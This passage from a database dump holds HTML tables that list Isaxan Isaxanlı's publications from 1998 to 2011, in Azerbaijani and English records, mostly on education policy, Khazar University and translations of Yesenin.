Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 255, Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 oktyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Məzunlarımız rəqəmlərdə: 31-dən 1342-yə qədər.Xəzər</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəbər, (curnal)&nbsp; № 257, 15 Xəzər Universitəsi.</p></td><td width=\"53\"><p>noyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Məzunlarımız arasında əcnəbilərin yeri</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 259, Xəzər Universitəsi.</p></td><td width=\"53\"><p>15 dekabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yüksək səviyyəli kadrların işə cəlb edilməsinin bəzi məqamları.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 262 Xəzər Universitəsi</p></td><td width=\"53\"><p>31 yanvar 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Əcnəbi tələbələrin cəlb edilməsi: dünyada gedən proseslər.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 264, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>28 fevral 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Hər şeyi unutduran təbəssüm.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 265, Xəzər Universitəsi</p></td><td width=\"53\"><p>15 mart 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Qəbul imtahanlarında topladığı bal tələbənin səviyyəsi haqqında ilkin fikir yürütmək üçün əsas mənbədir.</p></td><td width=\"114\"><p>Lamiyə Namazova&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 267,. Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 aprel 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Biliyin qiymətləndirilməsinin 100 ballıq sistemi haqqında bəzi mülahizələr.</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 10, numbers 3-4; Volume 11, numbers 1-4; Volume 12, numbers 1-2; The international symposium “Modern developmental trends and Turkic world”,</p></td><td width=\"53\"><p>29-31 may, 2009</p></td><td width=\"43\"><p>p. 199-203</p></td></tr><tr><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Sergey Yesenin</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 270 Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>31 may 2009.</p></td><td width=\"43\"><p>Səh.16-26. 31 may 2009</p></td></tr><tr><td width=\"186\"><p>Anama məktub, Axşam, “İran nəğmələri”ndən.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 270. Xəzər Universitəsi</p></td><td width=\"53\"><p>31 may 2009</p></td><td width=\"43\"><p>Səh.27-28</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 09 (60)</p></td><td width=\"53\"><p>18 iyul 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından tərcümələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>//“Bizim lider” qəzeti, № 10 (61),</p></td><td width=\"53\"><p>4 sentyabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeni dərs iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeseninin vətənində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 273</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>Səh.22-26.</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; 27. Xəzər Universitəsi</p></td><td width=\"53\"><p>15 sentyabr 2009.</p></td><td width=\"43\"><p>№ 273 Səh.</p></td></tr><tr><td width=\"186\"><p>Mən onu necə görmüşəm. (Serqey Yesenin haqqında xatirələrim)</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim lider” qəzeti, № 12 (63), və “Bizim fakt” qəzeti, № 1 (01),</p><p>&nbsp;</p></td><td width=\"53\"><p>12 oktyabar 2009-su il 3-18 dekabr 2009-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>«Proşay,&nbsp; Baku!»</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.14-19</p></td></tr><tr><td width=\"186\"><p>Yesenin poeziyasından tərcümələr</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 275</p></td><td width=\"53\"><p>15 oktyabr 2009</p></td><td width=\"43\"><p>Səh.19</p></td></tr><tr><td width=\"186\"><p>80 yaşlı cavan aşıq - Aslan Kosalı</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Avropa” nəşriyyatı.&nbsp; Bakı.</p></td><td width=\"53\"><p>2009</p></td><td width=\"43\"><p>Səh.170-172</p></td></tr><tr><td width=\"186\"><p>Tələbələr tələbələrin gözü və sözü ilə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 277</p></td><td width=\"53\"><p>15 noyabr 2009</p></td><td width=\"43\"><p>Səh.10-13.</p></td></tr><tr><td width=\"186\"><p>«Do svidanğə, druq moy, do svidanğə».</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 280</p></td><td width=\"53\"><p>31 dekabr 2009</p></td><td width=\"43\"><p>Səh.12-18</p></td></tr><tr><td width=\"186\"><p>Kİm deyir ki, əvəzedilməz insan yoxdur?</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər (curnal), aylıq dərgi, № 282</p></td><td width=\"53\"><p>fevral 2010</p></td><td width=\"43\"><p>Səh.14-15</p></td></tr><tr><td width=\"186\"><p>Bir şeirin iki tərcüməsi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Yeni dövr” qəzeti, № 49 (347)</p></td><td width=\"53\"><p>19 mart 2010-cu il.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yesenindən tərcümələrə dair: Bir şeirin üç tərcüməsi</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Bizim fakt” qəzeti, № 04 (06)</p></td><td width=\"53\"><p>1-8 aprel 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Bir “metro səyahətim”dən doğan təəssüratlarım</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Xəzər Xəbər” jurnalı, aylıq dərgi, № 285</p></td><td width=\"53\"><p>may, 2010</p></td><td width=\"43\"><p>Səh.17-18.</p></td></tr><tr><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid (Fərhad Ağazadənin anadan olmasının 130 illiyinə həsr edilir)</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 27</p></td><td width=\"53\"><p>26 iyun 2010-cu il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Şeir gülüstanının təkrarolunmaz çiçəyi – Serqey Yesenin</p></td><td width=\"114\"><p>Kitab</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Xəzər Universitəsi Nəşriyyatı</p></td><td width=\"53\"><p>sentyabr 2010</p></td><td width=\"43\"><p>372 Səh.</p></td></tr><tr><td width=\"186\"><p>2010-2011-ci il tələbə qəbulu rəqəmlərdə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 288</p></td><td width=\"53\"><p>Sentyabr 2010</p></td><td width=\"43\"><p>Səh.18.&nbsp;</p></td></tr><tr><td width=\"186\"><p>Xəzər universitəsi tibb fakültəsi: Dünən və bu gün</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 290</p></td><td width=\"53\"><p>Noyabr, 2010</p></td><td width=\"43\"><p>Səh.41-47.&nbsp;</p></td></tr><tr><td width=\"186\"><p>Səmimiyyət heykəli – Nəriman Həsənzadə - 80</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Kredo” qəzeti, № 8;</p><p>Xəzər-Xəbər, (curnal)&nbsp; № 294</p></td><td width=\"53\"><p>fevral 2011-ci il;</p></td><td width=\"43\"><p>Mart, 2011</p></td></tr><tr><td width=\"186\"><p>Klassik rus poeziyasından nümunələr İsaxanın tərcüməsində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzə Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>Bakı, 2011</p></td><td width=\"43\"><p>96 Səh.</p></td></tr><tr><td width=\"186\"><p>Bakı Yeseninin vəsfində.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Azərbaycan dünya ədəbiyyatında”. Beynəlxalq simpoziumun materialları Bakı, Xəzər Universitəsi Nəşriyyatı.</p></td><td width=\"53\"><p>27-29 may 2011-ci il</p></td><td width=\"43\"><p>Səh.22-22.</p></td></tr></tbody></table>  <br></div>'),(1574,981,'en','Isaxan Isaxanli','Isaxan Isaxanli','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"186\"><p><strong>Title of publication</strong></p></td><td width=\"114\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>All Authors</strong></p></td><td width=\"217\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"53\"><p><strong>Year Published</strong></p></td><td width=\"43\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"186\"><p>Dövlətlə özəl təhsìl ara­sında münasìbətdə DAEK-ìn (Dövlət Alì Ekspert komìssìyası) rolu</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tətqiqatçların respublika elmi konfrans. II cild, Azərbaycan Respublikası Təhsil Nazirliyi</p><p><strong>&nbsp;</strong></p></td><td width=\"53\"><p>11-12 fevral, 1998-ci il</p></td><td width=\"43\"><p>Səh 59-61</p></td></tr><tr><td width=\"186\"><p>Təhsilin seçmə prinsipləri</p></td><td width=\"114\"><p>Konfrans materìallarí</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Qafqaz: tarix, müasirlik və geosiyasi perspektivlər” konfransı, Bakı Dövlət Universiteti</p></td><td width=\"53\"><p>15 aprel 1998</p></td><td width=\"43\"><p>Səh.230-232</p></td></tr><tr><td width=\"186\"><p>Azərbaycan ali təhsilində süzgəc prosesi</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı&nbsp; İnstitutu. Bakı</p></td><td width=\"53\"><p>1998</p></td><td width=\"43\"><p>4-cü buraxılış,Səh.70-77.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl təhsilin yarnma zəruriliyi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tədqiqatçıların respublika elmi konfransı, II cild</p><p>Azərbaycan Respublikası Təhsil Nazirliyi.</p></td><td width=\"53\"><p>23-24 fevral 1999-cu il</p></td><td width=\"43\"><p>Səh.101-102</p></td></tr><tr><td width=\"186\"><p>1918-1920-ci illərdə Azərbaycanda təhsilinin inkişafına dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və Azərbaycan EA-nın birgə keçirdiyi Gənc Alim­lərin Azərbaycan Xalq Cümhuriyyətinin 80 illik yubileyinə həsr edilmiş ümumrespublika elmi konfransí</p><p>Bakı– Elm</p></td><td width=\"53\"><p>1999</p></td><td width=\"43\"><p>Səh.73-74</p></td></tr><tr><td width=\"186\"><p>Factors Related the Selec­tion process at the state and private Univer­sities.</p><p>T&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Positive and negative of &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sides&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; centralization</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani Studies, Volume 2, number 2. Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>191999</p><p>&nbsp;</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Bəlkə də Los-Ancelesin ən gözəl yeri elə UCLA-dir.</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-xəbər, № 64, -cu il. Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>3 aprel 1999</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Özəl alì məktəblərdə kadr hazírlığının bəzi xüsusìyyətlərì</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Humanitar elmlərin öyrənilməsinin aktual problem­ləri, ali məktəblərarası elmi, səh.37-39.. Azərbaycan Respub­likası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı İnstitutu. Bakı-mütərcim.</p><p>&nbsp;</p></td><td width=\"53\"><p>1-2 mart 2000-ci il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali təhsìlìn bə`zi xüsusìyyətləri</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə, II buraxılış.</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel,&nbsp; 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.173-182</p></td></tr><tr><td width=\"186\"><p>Özəl alì məktəblərdə məzunluq dìplomlarının verìlməsinə dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematik məcmuə, II buraxı­lış</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel, 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.182-184</p></td></tr><tr><td width=\"186\"><p>Basis and continuation of Private education in Azerbaijan</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>6<sup>th</sup>&nbsp;Nordic Baltic Conference in Regional Science “Nordic-Baltic Sea Region on the eve of the 21<sup>st</sup>&nbsp;Century”; Riga, Latvia.</p><p>&nbsp;</p></td><td width=\"53\"><p>October&nbsp; 4-7, 2000</p></td><td width=\"43\"><p>page 55-58</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali təhsilin yaranması və inkişaf yolları &nbsp;haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>AMEA Fəlsəfə və siyasi-hüquq tədqiqatlar institutu, “Politologiya” şöbəsi sosial-siyasi problemlər ( elmi məqalələr toplusu), 9-cu buraxılış</p></td><td width=\"53\"><p>Bakı- 2003</p></td><td width=\"43\"><p>Səh.32-36</p></td></tr><tr><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan,</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 14-72</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulu haqqında</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №3(15)</p></td><td width=\"53\"><p>Bakı-2003</p></td><td width=\"43\"><p>Səh.37-40.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda tələbələrə və özəl ali məktəblərə dövlət yardım proqramları haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; tezisləri</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Gənclər, İdman və Turizm Nazirliyi, Bakı</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.58-60</p></td></tr><tr><td width=\"186\"><p>Tələbələrə və özəl ali məktəblərə dövlət yardım proqramlarına dünya təcrübəsi müstəvisindən baxış</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>« Qloballaşma və Azərbaycanda təhsilin aktual problemləri». Beynəlxalq elmi-praktik konfrans. &nbsp;Azərbaycan Beynəlxalq Universiteti.</p><p>«Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi, 2003</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.124-126</p></td></tr><tr><td width=\"186\"><p>K.D. Uşinski təlim-tərbiyə prosesində&nbsp; əyanilik,</p><p>sistemlilik və əməyin rolu haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>K. D. Uşinskinin anadan olmasının 180 illiyinə həsr edilmiş elmi konfrans materialı</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Beynəlxalq Universiteti. «Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi</p></td><td width=\"53\"><p>24 dekabr 2004-cü il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>«Tələbələrin biliyinin qiymətləndirilməsinin çoxballı sistemi haqqında əsasnamə»yə dair bəzi mülahizələr</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №4 (20). Bakı</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.3-6</p></td></tr><tr><td width=\"186\"><p>Akademik&nbsp; Hüseyn &nbsp;Əhmədov haqqında.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Təhsil</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.197</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulunun bəzi aspektləri</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 3-61</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>«Təhsil» cəmiyyəti, «Bilgi» dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik curnal, № 3-4, Bakı</p></td><td width=\"53\"><p>2005</p></td><td width=\"43\"><p>Səh.38-49.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid. Tarixə qısa baxış və Fərhad Ağazadə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) №№ 197, 198, 199,&nbsp; Xəzər Universitəsi</p></td><td width=\"53\"><p>noyabr, dekabr 2005</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Azərbaycan Yeni Türk Əlifba Komitəsi və savadsızlığın ləğv edilməsi kampaniyası</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) № 218 , Xəzər Universitəsi</p></td><td width=\"53\"><p>15 noyabr 2006</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeni tədris iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 253, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>15 sentyabr 2008</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>25 məzunluq təntənəsi: Fərəhli nəticələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 255, Xəzər Universitəsi.</p><p>&nbsp;</p></td><td width=\"53\"><p>15 oktyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Məzunlarımız rəqəmlərdə: 31-dən 1342-yə qədər.Xəzər</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəbər, (curnal)&nbsp; № 257, 15 Xəzər Universitəsi.</p></td><td width=\"53\"><p>noyabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Məzunlarımız arasında əcnəbilərin yeri</p></td><td width=\"114\"><p>Lamiyə Namazova</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal) № 259, Xəzər Universitəsi.</p></td><td width=\"53\"><p>15 dekabr 2008.</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yüksək səviyyəli kadrların işə cəlb edilməsinin bəzi məqamları.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 262 Xəzər Universitəsi</p></td><td width=\"53\"><p>31 yanvar 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Əcnəbi tələbələrin cəlb edilməsi: dünyada gedən proseslər.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 264, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>28 fevral 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Hər şeyi unutduran təbəssüm.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 265, Xəzər Universitəsi</p></td><td width=\"53\"><p>15 mart 2009</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Qəbul imtahanlarında topladığı bal tələbənin səviyyəsi haqqında ilkin fikir yürütmək üçün əsas mənbədir.</p></td><td width=\"114\"><p>Lamiyə Namazova&nbsp;</p></td><td width=\"89\"><p>Isaxan 